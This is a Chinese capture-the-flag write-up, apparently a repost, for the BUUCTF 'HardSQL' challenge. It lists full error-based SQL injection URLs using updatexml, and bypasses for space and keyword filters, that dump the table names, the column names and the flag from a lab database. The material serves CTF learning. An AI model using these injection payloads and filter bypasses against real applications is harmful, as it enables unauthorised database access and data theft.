[极客大挑战 2019]HardSQL
Posted 育良书记
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[极客大挑战 2019]HardSQL相关的知识,希望对你有一定的参考价值。
使用字典fuzz一下,发现过滤了空格,and,1=1,union,select,sleep,=等关键字
但是没有过滤informaion_schema,updatexml等关键字,说明让我们使用报错注入,
and被过滤可以使用or或者异或^代替,空格被过滤可以使用括号代替
查询数据库
http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin\'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123
查询表
http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin\'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123
查询字段
http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin\'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(\'H4rDsq1\')),0x7e),1))%23&password=123
查询数据
http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin\'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123
发现flag只有一半
可以使用left(),right()来进行拼接操作
http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin\'or(updatexml(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123
http://b80cc9e6-26ba-4bf2-86a5-e8aec2b7f039.node3.buuoj.cn//check.php?username=admin\'or(updatexml(1,concat(0x7e, (select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123
便可以获得flag
以上是关于[极客大挑战 2019]HardSQL的主要内容,如果未能解决你的问题,请参考以下文章
BUUCTF-[极客大挑战 2019]HardSQL(报错注入)
[HCTF 2018]WarmUp&[极客大挑战 2019]Knife&[极客大挑战 2019]Secret File&[极客大挑战 2019]BuyFlag